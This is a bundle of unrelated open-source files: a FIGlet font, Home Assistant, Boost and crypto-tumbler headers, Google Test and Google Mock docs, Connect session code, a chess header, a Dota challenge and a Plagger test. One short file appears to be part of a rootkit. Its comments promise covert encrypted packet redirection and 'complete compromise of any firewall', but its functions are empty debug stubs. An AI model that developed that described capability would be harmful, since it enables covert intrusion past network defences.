flf2a$ 5 4 14 -1 11 0 0 0 Author : Bateau (lbm) Date : 2005/2/4 11:04:37 Version: 1.0 ------------------------------------------------- ------------------------------------------------- This font has been created using JavE's FIGlet font export assistant. Have a look at: http://www.jave.de Permission is hereby given to modify this font, as long as the modifier's name is placed on a comment line. $ # $ # $ # $ # $ ## !# # # # ## "# # # # ## ## # # # ## $# # # # ## %# # # # ## &# # # # ## '# # # # ## (# # # # ## )# # # # ## *# # # # ## +# # # # ## ,# # # # ## -# # # # ## .# # # # ## /# # # # ## 0# # # # ## 1# # # # ## 2# # # # ## 3# # # # ## 4# # # # ## 5# # # # ## 6# # # # ## 7# # # # ## 8# # # # ## 9# # # # ## :# # # # ## ;# # # # ## <# # # # ## =# # # # ## ># # # # ## ______ # |_| | | # __|_| # |_| # _ ## @# # # # ## ______ # | | | | # | |__| | # |_| |_| # ## ______ # | | | \ # | |--| < # |_|__|_/ # ## ______ # | | # | | # |_|____ # ## _____ # | | \ \ # | | | | # |_|_/_/ # ## ______ # | | # | |---- # |_|____ # ## ______ # | | # | |---- # |_| # ## ______ # | | ____ # | | | | # |_|__|_| # ## _ _ # | | | | # | |--| | # |_| |_| # ## _____ # | | # | | # _|_|_ # ## _ # | | # _ | | # |_|__|_| # ## _ __ # | | / / # | |-< < # |_| \_\ # ## _ # | | # | | _ # |_|__|_| # ## _________ # | | | | | \ # | | | | | | # |_| |_| |_| # ## ______ # | | \ \ # | | | | # |_| |_| # ## ______ # / | | \ # | | | | # \_|__|_/ # ## ______ # | | | \ # | |__|_/ # |_| # ## ______ # / | _| \ # | | \ | # \_|__|__\ # ## ______ # | | | \ # | |__| | # |_| \_\ # ## ______ # / | # '------. # ____|_/ # ## _______ # | | # | | # |_| # ## _ _ # | | | | # | | | | # \_|__|_| # ## _ _ # | | | | # \ \ / / # \_\_/_/ # ## _ _ _ # | | | | | | # | | | | | | # |_|_|_|_|_/ # ## _ _ # \ \ / / # >|--|< # /_/ \_\ # ## __ _ # \ \ | | # \_\_| | # ____|_| # ## ______ # / / # .---' # /_/___ # ## [# # # # ## \# # # # ## ]# # # # ## ^# # # # ## _# # # # ## `# # # # ## ______ # | | | | # | |__| | # |_| |_| # ## ______ # | | | \ # | |--| < # |_|__|_/ # ## ______ # | | # | | # |_|____ # ## _____ # | | \ \ # | | | | # |_|_/_/ # ## ______ # | | # | |---- # |_|____ # ## ______ # | | # | |---- # |_| # ## ______ # | | ____ # | | | | # |_|__|_| # ## _ _ # | | | | # | |--| | # |_| |_| # ## _____ # | | # | | # _|_|_ # ## _ # | | # _ | | # |_|__|_| # ## _ __ # | | / / # | |-< < # |_| \_\ # ## _ # | | # | | _ # |_|__|_| # ## _________ # | | | | | \ # | | | | | | # |_| |_| |_| # ## ______ # | | \ \ # | | | | # |_| |_| # ## ______ # / | | \ # | | | | # \_|__|_/ # ## ______ # | | | \ # | |__|_/ # |_| # ## ______ # / | _| \ # | | \ | # \_|__|__\ # ## ______ # | | | \ # | |__| | # |_| \_\ # ## ______ # / | # '------. # ____|_/ # ## _______ # | | # | | # |_| # ## _ _ # | | | | # | | | | # \_|__|_| # ## _ _ # | | | | # \ \ / / # \_\_/_/ # ## _ _ _ # | | | | | | # | | | | | | # |_|_|_|_|_/ # ## _ _ # \ \ / / # >|--|< # /_/ \_\ # ## __ _ # \ \ | | # \_\_| | # ____|_| # ## ______ # / / # .---' # /_/___ # ## {# # # # ## |# # # # ## }# # # # ## ~# # # # ## ______ # | | | | # | |__| | # |_| |_| # ## ______ # / | | \ # | | | | # \_|__|_/ # ## _ _ # | | | | # | | | | # \_|__|_| # ## ______ # | | | | # | |__| | # |_| |_| # ## ______ # / | | \ # | | | | # \_|__|_/ # ## _ _ # | | | | # | | | | # \_|__|_| # ## ß# # # # ##
{ "pile_set_name": "Github" }
# Logging import logging _LOGGER = logging.getLogger(__name__) DOMAIN = 'zhimsg' _handlers = {} async def async_setup(hass, config): _confs = config.get(DOMAIN) if _confs: import importlib global _handlers for conf in _confs: service = conf['platform'] handler = service.split('_')[0] + 'msg' mod = importlib.import_module('.' + handler, __package__) _handlers[service] = getattr(mod, handler)(hass, conf) SERVICE_SCHEMA = getattr(mod, 'SERVICE_SCHEMA') hass.services.async_register( DOMAIN, service, async_send, schema=SERVICE_SCHEMA) _LOGGER.debug("Register service: %s.%s", DOMAIN, service) return True async def async_send(call): handler = _handlers[call.service] data = call.data message = data.get('message') await handler.async_send_message(message, data)
{ "pile_set_name": "Github" }
#ifndef _signer_h #define _signer_h #include "assert.h" #include <openssl/ripemd.h> // Local #include "scc.h" #include "ec.h" #include "encrypt.h" #include "tx.h" class Signer { protected: RSA* rsa; Bin* rsa_pub; // EC EC_KEY *key; Bin *public_key; // Flags bool signed_values; bool verified_fakes; bool verified_real; std::vector<Bin*> blinded_set; std::vector<int> R; // Indices of real set std::vector<int> F; // Indices of fake set std::vector<Bin*> C; // Encrypted signatures : Form IV||encrypted_sig std::vector<Bin*> K; // Encryption keys std::vector<Bin*> H; // Key hashes // TX Bin* tumbler_address; Bin* escrow_redeem_script; Bin* escrow_funding_tx_id; Bin* escrow_party_signature; Bin* preimage_P2SH; Bin* preimage_redeem_script; Bin* preimage_funding_tx_id; Bin* preimage_party_signature; Bin* escrow_preimage_signature; Bin* fund_preimage_tx_fulfill; Bin* preimage_tx_fulfill; Bin* escrow_tx_fulfill; std::vector<Bin*> real_keys; // Keys used on real set std::vector<Bin*> fake_keys; // Keys used on fake set void write_state(); bool ec_sign(Bin* serial_sig, Bin* sig_hash); public: int rsa_len; // Constructors & Destructors Signer(); ~Signer(); // Gets Bin* get_rsa(); Bin* get_pubkey(); Bin* get_escrow_preimage_signature(); std::vector<Bin*>* get_C(); std::vector<Bin*>* get_H(); std::vector<Bin*>* get_fake_keys(); std::vector<Bin*>* get_real_keys(); // Sets void set_preimage_redeem_script(Bin* redeem_script); void set_preimage_signature(Bin* signature); void set_preimage_P2SH(Bin* address); void set_escrow_redeem_script(Bin* redeem_script); void set_escrow_funding_tx_id(Bin* funding_tx_id); void set_escrow_signature(Bin* signature); // Methods bool spend_escrow_tx(); bool spend_preimage_tx(); bool spend_escrow_preimage_tx(); bool sign_escrow_preimage_tx(); /*! * Signs blinded set using rsa private key * * \param[in] blinded_set set to sign * * \return true on success, false on error. */ bool sign_blinded_set(std::vector<Bin*> blinded_set); /*! * Verify values claimed to be fake * * \param[in] randoms The randoms used in fakes * \param[in] newF Indices of fake items * * \return true on success, false on error. */ bool verify_fakes(std::vector<Bin*> randoms, std::vector<int> newF); /*! * Verify that real values all unblind to one value, y. * * \param[in] y The value the reals should ublind to * \param[in] blinds The blinds applied to y * \param[in] newR Indices of Real items * * \return true on success, false on error. */ bool verify_reals(Bin* y, std::vector<Bin*>blinds, std::vector<int> newR); }; #endif
{ "pile_set_name": "Github" }
#ifndef BOOST_MPL_INTEGRAL_C_FWD_HPP_INCLUDED #define BOOST_MPL_INTEGRAL_C_FWD_HPP_INCLUDED // Copyright Aleksey Gurtovoy 2000-2006 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/mpl for documentation. // $Id$ // $Date$ // $Revision$ #include <boost/mpl/aux_/config/workaround.hpp> #include <boost/mpl/aux_/adl_barrier.hpp> BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_OPEN #if BOOST_WORKAROUND(__HP_aCC, <= 53800) // the type of non-type template arguments may not depend on template arguments template< typename T, long N > struct integral_c; #else template< typename T, T N > struct integral_c; #endif BOOST_MPL_AUX_ADL_BARRIER_NAMESPACE_CLOSE BOOST_MPL_AUX_ADL_BARRIER_DECL(integral_c) #endif // BOOST_MPL_INTEGRAL_C_FWD_HPP_INCLUDED
{ "pile_set_name": "Github" }
# Google Test # [![Build Status](https://travis-ci.org/google/googletest.svg?branch=master)](https://travis-ci.org/google/googletest) Welcome to **Google Test**, Google's C++ test framework! This repository is a merger of the formerly separate GoogleTest and GoogleMock projects. These were so closely related that it makes sense to maintain and release them together. Please see the project page above for more information as well as the mailing list for questions, discussions, and development. There is also an IRC channel on OFTC (irc.oftc.net) #gtest available. Please join us! **Google Mock** is an extension to Google Test for writing and using C++ mock classes. See the separate [Google Mock documentation](googlemock/README.md). More detailed documentation for googletest (including build instructions) are in its interior [googletest/README.md](googletest/README.md) file. ## Features ## * An [XUnit](https://en.wikipedia.org/wiki/XUnit) test framework. * Test discovery. * A rich set of assertions. * User-defined assertions. * Death tests. * Fatal and non-fatal failures. * Value-parameterized tests. * Type-parameterized tests. * Various options for running the tests. * XML test report generation. ## Platforms ## Google test has been used on a variety of platforms: * Linux * Mac OS X * Windows * Cygwin * MinGW * Windows Mobile * Symbian ## Who Is Using Google Test? ## In addition to many internal projects at Google, Google Test is also used by the following notable projects: * The [Chromium projects](http://www.chromium.org/) (behind the Chrome browser and Chrome OS). * The [LLVM](http://llvm.org/) compiler. * [Protocol Buffers](https://github.com/google/protobuf), Google's data interchange format. * The [OpenCV](http://opencv.org/) computer vision library. ## Related Open Source Projects ## [Google Test UI](https://github.com/ospector/gtest-gbar) is test runner that runs your test binary, allows you to track its progress via a progress bar, and displays a list of test failures. Clicking on one shows failure text. Google Test UI is written in C#. [GTest TAP Listener](https://github.com/kinow/gtest-tap-listener) is an event listener for Google Test that implements the [TAP protocol](https://en.wikipedia.org/wiki/Test_Anything_Protocol) for test result output. If your test runner understands TAP, you may find it useful. ## Requirements ## Google Test is designed to have fairly minimal requirements to build and use with your projects, but there are some. Currently, we support Linux, Windows, Mac OS X, and Cygwin. We will also make our best effort to support other platforms (e.g. Solaris, AIX, and z/OS). However, since core members of the Google Test project have no access to these platforms, Google Test may have outstanding issues there. If you notice any problems on your platform, please notify <googletestframework@googlegroups.com>. Patches for fixing them are even more welcome! ### Linux Requirements ### These are the base requirements to build and use Google Test from a source package (as described below): * GNU-compatible Make or gmake * POSIX-standard shell * POSIX(-2) Regular Expressions (regex.h) * A C++98-standard-compliant compiler ### Windows Requirements ### * Microsoft Visual C++ v7.1 or newer ### Cygwin Requirements ### * Cygwin v1.5.25-14 or newer ### Mac OS X Requirements ### * Mac OS X v10.4 Tiger or newer * XCode Developer Tools ### Requirements for Contributors ### We welcome patches. If you plan to contribute a patch, you need to build Google Test and its own tests from a git checkout (described below), which has further requirements: * [Python](https://www.python.org/) v2.3 or newer (for running some of the tests and re-generating certain source files from templates) * [CMake](https://cmake.org/) v2.6.4 or newer ## Regenerating Source Files ## Some of Google Test's source files are generated from templates (not in the C++ sense) using a script. For example, the file include/gtest/internal/gtest-type-util.h.pump is used to generate gtest-type-util.h in the same directory. You don't need to worry about regenerating the source files unless you need to modify them. You would then modify the corresponding `.pump` files and run the '[pump.py](googletest/scripts/pump.py)' generator script. See the [Pump Manual](googletest/docs/PumpManual.md). ### Contributing Code ### We welcome patches. Please read the [Developer's Guide](googletest/docs/DevGuide.md) for how you can contribute. In particular, make sure you have signed the Contributor License Agreement, or we won't be able to accept the patch. Happy testing!
{ "pile_set_name": "Github" }
#ifndef BOOST_MPL_AUX_RANGE_C_BACK_HPP_INCLUDED #define BOOST_MPL_AUX_RANGE_C_BACK_HPP_INCLUDED // Copyright Aleksey Gurtovoy 2000-2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/mpl for documentation. // $Id$ // $Date$ // $Revision$ #include <boost/mpl/back_fwd.hpp> #include <boost/mpl/prior.hpp> #include <boost/mpl/aux_/range_c/tag.hpp> namespace boost { namespace mpl { template<> struct back_impl< aux::half_open_range_tag > { template< typename Range > struct apply { typedef typename prior< typename Range::finish >::type type; }; }; }} #endif // BOOST_MPL_AUX_RANGE_C_BACK_HPP_INCLUDED
{ "pile_set_name": "Github" }
/*! * Connect - session - Session * Copyright(c) 2010 Sencha Inc. * Copyright(c) 2011 TJ Holowaychuk * MIT Licensed */ /** * Module dependencies. */ var utils = require('../../utils'); /** * Create a new `Session` with the given request and `data`. * * @param {IncomingRequest} req * @param {Object} data * @api private */ var Session = module.exports = function Session(req, data) { Object.defineProperty(this, 'req', { value: req }); Object.defineProperty(this, 'id', { value: req.sessionID }); if ('object' == typeof data) utils.merge(this, data); }; /** * Update reset `.cookie.maxAge` to prevent * the cookie from expiring when the * session is still active. * * @return {Session} for chaining * @api public */ Session.prototype.touch = function(){ return this.resetMaxAge(); }; /** * Reset `.maxAge` to `.originalMaxAge`. * * @return {Session} for chaining * @api public */ Session.prototype.resetMaxAge = function(){ this.cookie.maxAge = this.cookie.originalMaxAge; return this; }; /** * Save the session data with optional callback `fn(err)`. * * @param {Function} fn * @return {Session} for chaining * @api public */ Session.prototype.save = function(fn){ this.req.sessionStore.set(this.id, this, fn || function(){}); return this; }; /** * Re-loads the session data _without_ altering * the maxAge properties. Invokes the callback `fn(err)`, * after which time if no exception has occurred the * `req.session` property will be a new `Session` object, * although representing the same session. * * @param {Function} fn * @return {Session} for chaining * @api public */ Session.prototype.reload = function(fn){ var req = this.req , store = this.req.sessionStore; store.get(this.id, function(err, sess){ if (err) return fn(err); if (!sess) return fn(new Error('failed to load session')); store.createSession(req, sess); fn(); }); return this; }; /** * Destroy `this` session. * * @param {Function} fn * @return {Session} for chaining * @api public */ Session.prototype.destroy = function(fn){ delete this.req.session; this.req.sessionStore.destroy(this.id, fn); return this; }; /** * Regenerate this request's session. * * @param {Function} fn * @return {Session} for chaining * @api public */ Session.prototype.regenerate = function(fn){ this.req.sessionStore.regenerate(this.req, fn); return this; };
{ "pile_set_name": "Github" }
// (C) Copyright Edward Diener 2011-2015 // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). #if !defined(BOOST_VMD_ASSERT_IS_EMPTY_HPP) #define BOOST_VMD_ASSERT_IS_EMPTY_HPP #include <boost/vmd/detail/setup.hpp> #if BOOST_PP_VARIADICS #if BOOST_VMD_ASSERT_DATA #include <boost/vmd/assert.hpp> #include <boost/vmd/is_empty.hpp> #endif /* The succeeding comments in this file are in doxygen format. */ /** \file */ /** \def BOOST_VMD_ASSERT_IS_EMPTY(...) \brief Asserts that the input is empty. The macro checks to see if the input is empty or not. If it is not empty, it forces a compiler error. The macro is a variadic macro taking any input. For the VC++8 compiler (VS2005) the macro takes a single parameter of input to check and not variadic data. The macro normally checks for emptiness only in debug mode. However an end-user can force the macro to check or not check by defining the macro BOOST_VMD_ASSERT_DATA to 1 or 0 respectively. .... = variadic input, for VC++8 this must be a single parameter. returns = Normally the macro returns nothing. If the input is empty, nothing is output. For VC++, because there is no sure way of forcing a compiler error from within a macro without producing output, if the input is not empty the macro forces a compiler error by outputting invalid C++. For all other compilers a compiler error is forced without producing output if the input is not empty. It is recommended to append BOOST_PP_EMPTY() to whatever input is being tested in order to avoid possible warning messages from some compilers about no parameters being passed to the macro when the input is truly empty. */ #if BOOST_VMD_MSVC_V8 #if !BOOST_VMD_ASSERT_DATA #define BOOST_VMD_ASSERT_IS_EMPTY(input) #else #define BOOST_VMD_ASSERT_IS_EMPTY(input) \ BOOST_VMD_ASSERT \ ( \ BOOST_VMD_IS_EMPTY(input), \ BOOST_VMD_IS_EMPTY_ASSERT_ERROR \ ) \ /**/ #endif // !BOOST_VMD_ASSERT_DATA #else #if !BOOST_VMD_ASSERT_DATA #define BOOST_VMD_ASSERT_IS_EMPTY(...) #else #define BOOST_VMD_ASSERT_IS_EMPTY(...) \ BOOST_VMD_ASSERT \ ( \ BOOST_VMD_IS_EMPTY(__VA_ARGS__), \ BOOST_VMD_IS_EMPTY_ASSERT_ERROR \ ) \ /**/ #endif // !BOOST_VMD_ASSERT_DATA #endif /* BOOST_VMD_MSVC_V8 */ #endif /* BOOST_PP_VARIADICS */ #endif /* BOOST_VMD_ASSERT_IS_EMPTY_HPP */
{ "pile_set_name": "Github" }
If you are interested in understanding the internals of Google Mock, building from source, or contributing ideas or modifications to the project, then this document is for you. # Introduction # First, let's give you some background of the project. ## Licensing ## All Google Mock source and pre-built packages are provided under the [New BSD License](http://www.opensource.org/licenses/bsd-license.php). ## The Google Mock Community ## The Google Mock community exists primarily through the [discussion group](http://groups.google.com/group/googlemock), the [issue tracker](https://github.com/google/googletest/issues) and, to a lesser extent, the [source control repository](../). You are definitely encouraged to contribute to the discussion and you can also help us to keep the effectiveness of the group high by following and promoting the guidelines listed here. ### Please Be Friendly ### Showing courtesy and respect to others is a vital part of the Google culture, and we strongly encourage everyone participating in Google Mock development to join us in accepting nothing less. Of course, being courteous is not the same as failing to constructively disagree with each other, but it does mean that we should be respectful of each other when enumerating the 42 technical reasons that a particular proposal may not be the best choice. There's never a reason to be antagonistic or dismissive toward anyone who is sincerely trying to contribute to a discussion. Sure, C++ testing is serious business and all that, but it's also a lot of fun. Let's keep it that way. Let's strive to be one of the friendliest communities in all of open source. ### Where to Discuss Google Mock ### As always, discuss Google Mock in the official [Google C++ Mocking Framework discussion group](http://groups.google.com/group/googlemock). You don't have to actually submit code in order to sign up. Your participation itself is a valuable contribution. # Working with the Code # If you want to get your hands dirty with the code inside Google Mock, this is the section for you. ## Checking Out the Source from Subversion ## Checking out the Google Mock source is most useful if you plan to tweak it yourself. You check out the source for Google Mock using a [Subversion](http://subversion.tigris.org/) client as you would for any other project hosted on Google Code. Please see the instruction on the [source code access page](../) for how to do it. ## Compiling from Source ## Once you check out the code, you can find instructions on how to compile it in the [README](../README.md) file. ## Testing ## A mocking framework is of no good if itself is not thoroughly tested. Tests should be written for any new code, and changes should be verified to not break existing tests before they are submitted for review. To perform the tests, follow the instructions in [README](http://code.google.com/p/googlemock/source/browse/trunk/README) and verify that there are no failures. # Contributing Code # We are excited that Google Mock is now open source, and hope to get great patches from the community. Before you fire up your favorite IDE and begin hammering away at that new feature, though, please take the time to read this section and understand the process. While it seems rigorous, we want to keep a high standard of quality in the code base. ## Contributor License Agreements ## You must sign a Contributor License Agreement (CLA) before we can accept any code. The CLA protects you and us. * If you are an individual writing original source code and you're sure you own the intellectual property, then you'll need to sign an [individual CLA](http://code.google.com/legal/individual-cla-v1.0.html). * If you work for a company that wants to allow you to contribute your work to Google Mock, then you'll need to sign a [corporate CLA](http://code.google.com/legal/corporate-cla-v1.0.html). Follow either of the two links above to access the appropriate CLA and instructions for how to sign and return it. ## Coding Style ## To keep the source consistent, readable, diffable and easy to merge, we use a fairly rigid coding style, as defined by the [google-styleguide](https://github.com/google/styleguide) project. All patches will be expected to conform to the style outlined [here](https://github.com/google/styleguide/blob/gh-pages/cppguide.xml). ## Submitting Patches ## Please do submit code. Here's what you need to do: 1. Normally you should make your change against the SVN trunk instead of a branch or a tag, as the latter two are for release control and should be treated mostly as read-only. 1. Decide which code you want to submit. A submission should be a set of changes that addresses one issue in the [Google Mock issue tracker](http://code.google.com/p/googlemock/issues/list). Please don't mix more than one logical change per submittal, because it makes the history hard to follow. If you want to make a change that doesn't have a corresponding issue in the issue tracker, please create one. 1. Also, coordinate with team members that are listed on the issue in question. This ensures that work isn't being duplicated and communicating your plan early also generally leads to better patches. 1. Ensure that your code adheres to the [Google Mock source code style](#Coding_Style.md). 1. Ensure that there are unit tests for your code. 1. Sign a Contributor License Agreement. 1. Create a patch file using `svn diff`. 1. We use [Rietveld](http://codereview.appspot.com/) to do web-based code reviews. You can read about the tool [here](https://github.com/rietveld-codereview/rietveld/wiki). When you are ready, upload your patch via Rietveld and notify `googlemock@googlegroups.com` to review it. There are several ways to upload the patch. We recommend using the [upload\_gmock.py](../scripts/upload_gmock.py) script, which you can find in the `scripts/` folder in the SVN trunk. ## Google Mock Committers ## The current members of the Google Mock engineering team are the only committers at present. In the great tradition of eating one's own dogfood, we will be requiring each new Google Mock engineering team member to earn the right to become a committer by following the procedures in this document, writing consistently great code, and demonstrating repeatedly that he or she truly gets the zen of Google Mock. # Release Process # We follow the typical release process for Subversion-based projects: 1. A release branch named `release-X.Y` is created. 1. Bugs are fixed and features are added in trunk; those individual patches are merged into the release branch until it's stable. 1. An individual point release (the `Z` in `X.Y.Z`) is made by creating a tag from the branch. 1. Repeat steps 2 and 3 throughout one release cycle (as determined by features or time). 1. Go back to step 1 to create another release branch and so on. --- This page is based on the [Making GWT Better](http://code.google.com/webtoolkit/makinggwtbetter.html) guide from the [Google Web Toolkit](http://code.google.com/webtoolkit/) project. Except as otherwise [noted](http://code.google.com/policies.html#restrictions), the content of this page is licensed under the [Creative Commons Attribution 2.5 License](http://creativecommons.org/licenses/by/2.5/).
{ "pile_set_name": "Github" }
#include "rk_driver.h" #include "rk_router.h" /* ROUTING ROUTINES * Redirection and routing routines, including * multicast and broadcast lists. Lists are * protected with Mutex. Enables complete * compromise of any firewall. */ /* route a packet to another host using * encrypted encapsulation */ void RedirectPacketTo(){ DbgPrint(("RedirectPacket called\n")); } /* get an encapsulated packet & send over interface */ void OnRoutedPacket(){ DbgPrint(("RoutedPacket called\n")); }
{ "pile_set_name": "Github" }
# https://www.kaggle.com/c/home-depot-product-search-relevance/forums/t/18967/data-preparation COLOR_LIST = [ "white", "black", "brown", "gray", "chrome", "stainless steel", "whites", "red", "browns / tans", "bronze", "silver", "blacks", "beige", "stainless", "blue", "nickel", "metallics", "clear", "grays", "green", "multi", "beige / cream", "tan", "greens", "yellow", "wood", "blues", "reds / pinks", "brushed nickel", "orange", "metallic", "brass", "yellows / golds", "oil rubbed bronze", "polished chrome", "almond", "multi-colored", "dark brown wood", "primed white", "beige/bisque", "biscuit", "ivory", "oranges / peaches", "grey", "unfinished wood", "light brown wood", "wood grain", "silver metallic", "copper", "medium brown wood", "soft white", "gold", "satin nickel", "cherry", "bright white", "red/orange", "teal", "natural", "oak", "mahogany", "aluminum", "espresso", "unfinished", "purples / lavenders", "brown/tan", "steel", "venetian bronze", "slate", "warm white", "bone", "pink", "stainless look", "reddish brown wood", "solid colors", "off-white", "walnut", "chocolate", "light almond", "vibrant brushed nickel", "satin white", "polished brass", "linen", "white primer", "purple", "charcoal", "color", "oil-rubbed bronze", "melamine white", "turquoises / aquas", "blue/purple", "primed", "bisque", "browns/tans", "assorted colors", "java", "pewter", "chestnut", "yellow/gold", "taupe", "pacific white", "cedar", "monochromatic stainless steel", "other", "platinum", "mocha", "cream", "sand", "daylight", "brushed stainless steel", "powder-coat white", ]
{ "pile_set_name": "Github" }
// board.h #ifndef BOARD_H #define BOARD_H // includes #include "colour.h" #include "piece.h" #include "square.h" #include "util.h" // constants const int Empty = 0; const int Edge = Knight64; // HACK: uncoloured knight const int WP = WhitePawn256; const int WN = WhiteKnight256; const int WB = WhiteBishop256; const int WR = WhiteRook256; const int WQ = WhiteQueen256; const int WK = WhiteKing256; const int BP = BlackPawn256; const int BN = BlackKnight256; const int BB = BlackBishop256; const int BR = BlackRook256; const int BQ = BlackQueen256; const int BK = BlackKing256; const int FlagsNone = 0; const int FlagsWhiteKingCastle = 1 << 0; const int FlagsWhiteQueenCastle = 1 << 1; const int FlagsBlackKingCastle = 1 << 2; const int FlagsBlackQueenCastle = 1 << 3; const int StackSize = 4096; // macros #define KING_POS(board,colour) ((board)->piece[colour][0]) // types struct board_t { int piece_material[ColourNb]; // Thomas int square[SquareNb]; int pos[SquareNb]; sq_t piece[ColourNb][17]; // was 32 int piece_size[ColourNb]; sq_t pawn[ColourNb][9]; // was 16 int pawn_size[ColourNb]; int piece_nb; int number[12]; // was 16 int pawn_file[ColourNb][FileNb]; bool turn; int flags; int ep_square; int ply_nb; int sp; // TODO: MOVE ME? int cap_sq; int opening; int endgame; int pvalue; //Ryan uint64 key; uint64 pawn_key; uint64 material_key; uint64 stack[StackSize]; }; // functions extern bool board_is_ok (const board_t * board); extern void board_clear (board_t * board); extern void board_copy (board_t * dst, const board_t * src); extern void board_init_list (board_t * board); extern bool board_is_legal (const board_t * board); extern bool board_is_check (const board_t * board); extern bool board_is_mate (const board_t * board); extern bool board_is_stalemate (board_t * board); extern bool board_is_repetition (const board_t * board); extern int board_material (const board_t * board); extern int board_opening (const board_t * board); extern int board_endgame (const board_t * board); #endif // !defined BOARD_H // end of board.h
{ "pile_set_name": "Github" }
// (C) Copyright Dave Abrahams, Steve Cleary, Beman Dawes, Howard // Hinnant & John Maddock 2000. // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). // // See http://www.boost.org/libs/type_traits for most recent version including documentation. #ifndef BOOST_TT_REMOVE_VOLATILE_HPP_INCLUDED #define BOOST_TT_REMOVE_VOLATILE_HPP_INCLUDED #include <boost/type_traits/is_const.hpp> #include <boost/type_traits/detail/cv_traits_impl.hpp> #include <boost/config.hpp> #include <boost/detail/workaround.hpp> #include <cstddef> // should be the last #include #include <boost/type_traits/detail/type_trait_def.hpp> namespace boost { namespace detail { template <typename T, bool is_const> struct remove_volatile_helper { typedef T type; }; template <typename T> struct remove_volatile_helper<T,true> { typedef T const type; }; template <typename T> struct remove_volatile_impl { typedef typename remove_volatile_helper< typename cv_traits_imp<BOOST_TT_AUX_CV_TRAITS_IMPL_PARAM(T)>::unqualified_type , ::boost::is_const<T>::value >::type type; }; // // We can't filter out rvalue_references at the same level as // references or we get ambiguities from msvc: // #ifndef BOOST_NO_CXX11_RVALUE_REFERENCES template <typename T> struct remove_volatile_impl<T&&> { typedef T&& type; }; #endif } // namespace detail // * convert a type T to a non-volatile type - remove_volatile<T> BOOST_TT_AUX_TYPE_TRAIT_DEF1(remove_volatile,T,typename boost::detail::remove_volatile_impl<T>::type) BOOST_TT_AUX_TYPE_TRAIT_PARTIAL_SPEC1_1(typename T,remove_volatile,T&,T&) #if !defined(BOOST_NO_ARRAY_TYPE_SPECIALIZATIONS) BOOST_TT_AUX_TYPE_TRAIT_PARTIAL_SPEC1_2(typename T,std::size_t N,remove_volatile,T volatile[N],T type[N]) BOOST_TT_AUX_TYPE_TRAIT_PARTIAL_SPEC1_2(typename T,std::size_t N,remove_volatile,T const volatile[N],T const type[N]) #endif } // namespace boost #include <boost/type_traits/detail/type_trait_undef.hpp> #endif // BOOST_TT_REMOVE_VOLATILE_HPP_INCLUDED
{ "pile_set_name": "Github" }
36 5 24 26 0 36 28 32 29 22 19 25 36 7 23 25 49 0 0 0 26 33 4 25 0 2 25 30 34 0 0 0 9 25 28 24 14 6 23 23 38 49 0 3 19 26 32 25 28 21 20 38 63 0 0 2 10 32 25 27 26 17 21 11 2 43 0 0 36 22 7 31 31 28 24 39 26 0 0 23 19 33 25 26 8 4 25 12 44 2 0 4 28 29 25 19 0 11 21 28 48 0 0 13 24 4 42 15 3 40 20 27 32 0 0 7 23 44 23 0 33 20 27 26 53 0 0 22 32 26 27 37 0 6 18 19 45 0 0 2 0 8 22 22 16 3 20 18 7 25 18 18 42 2 22 20 23 2 22 0 23 28 22 0 0 20 19 33 3 23 17 10 0 21 0 0 23 19 0 2 23 21 24 22 30 23 0 0 22 18 0 21 3 29 9 0 17 0 18 2 15 3 24 3 21 13 0 2 18 0 3 22 11 20 14 19 40 2 0 1 6 3 22 16 25 32 26 19 18 27 24 0 26 23 20 14 27 22 33 26 25 24 0 19 29 9 0 5 27 0 3 21 0 7 32 14 0 26 20 0 22 8 24 0 3 1 0 15 17 10 0 0 23 0 33 21 27 4 0 14 0 1 0 0 22 0 32 17
{ "pile_set_name": "Github" }
"spectre_dispersion_damage_reality" { "challengetype" "194" "desc" "#DOTA_ChallengeDesc_SpectreDispersionReality" "multi_query" "1" "requiredhero" "67" "events" { "1" { "desc" "#DOTA_ChallengeDesc_SpectreDispersionReality_Sub1" "status_text" "#DOTA_ChallengeStatus_SpectreDispersionReality_Sub1" "matching_type" "linear_series" "query" { "find_damage" { "event" "damage" "attack" "spectre_dispersion" "attacker" "!hero" "target_must_be_hero" "1" "attacker_team" "!team" "target_team" "!enemyteam" "storage" { "1" { "key" "value" "aggregator" "sum" } } } } "clear_storage_per_query" "0" "progress_stored_in" "1" "post_tests" { "test_value" { "storage" "1" "compare" ">=" "amount" "<dispersion_damage>" } } } "2" { "desc" "#DOTA_ChallengeDesc_SpectreDispersionReality_Sub2" "status_text" "#DOTA_ChallengeStatus_SpectreDispersionReality_Sub2" "matching_type" "linear_series" "query" { "reality_use" { "event" "ability" "ability" "spectre_reality" "caster" "!hero" } "separator" "5" "kill_after_reality" { "event" "death" "target_must_be_hero" "1" "attacker" "!hero" } } "progress_stored_in" "2" "postmatch_increments" { "storage" { "2" { "aggregator" "increment" } } } "post_tests" { "test_kills_after_reality" { "storage" "2" "compare" ">=" "amount" "<reality_kill_count>" } } } } "variables" { "<dispersion_damage>" { "format" "int" "index" "0" } "<reality_kill_count>" { "format" "int" "index" "1" } } }
{ "pile_set_name": "Github" }
use strict; use FindBin; use File::Spec; use t::TestPlagger; our $output = "$FindBin::Bin/index.html"; test_plugin_deps; run_like 'input', 'expected'; END { unlink $output if -e $output; } __END__ === generator testing --- input config output_file plugins: - module: Subscription::Config config: feed: - file://$t::TestPlagger::BaseDirURI/t/samples/delicious.xml - module: SmartFeed::All - module: Publish::Planet rule: expression: \$args->{feed}->id eq 'smartfeed:all' config: dir: $FindBin::Bin theme: sixapart-std --- expected chomp regexp <meta name="generator" content="Plagger [\d\.]+" === Testing styles --- input config output_file plugins: - module: Subscription::Config config: feed: - file://$t::TestPlagger::BaseDirURI/t/samples/delicious.xml - module: SmartFeed::All - module: Publish::Planet rule: expression: \$args->{feed}->id eq 'smartfeed:all' config: dir: $FindBin::Bin theme: sixapart-std template: style_url: /foo.css --- expected chomp regexp <link rel="stylesheet" type="text/css" href="/foo.css" /> === Testing skin (backward compatiblity) --- input config output_file 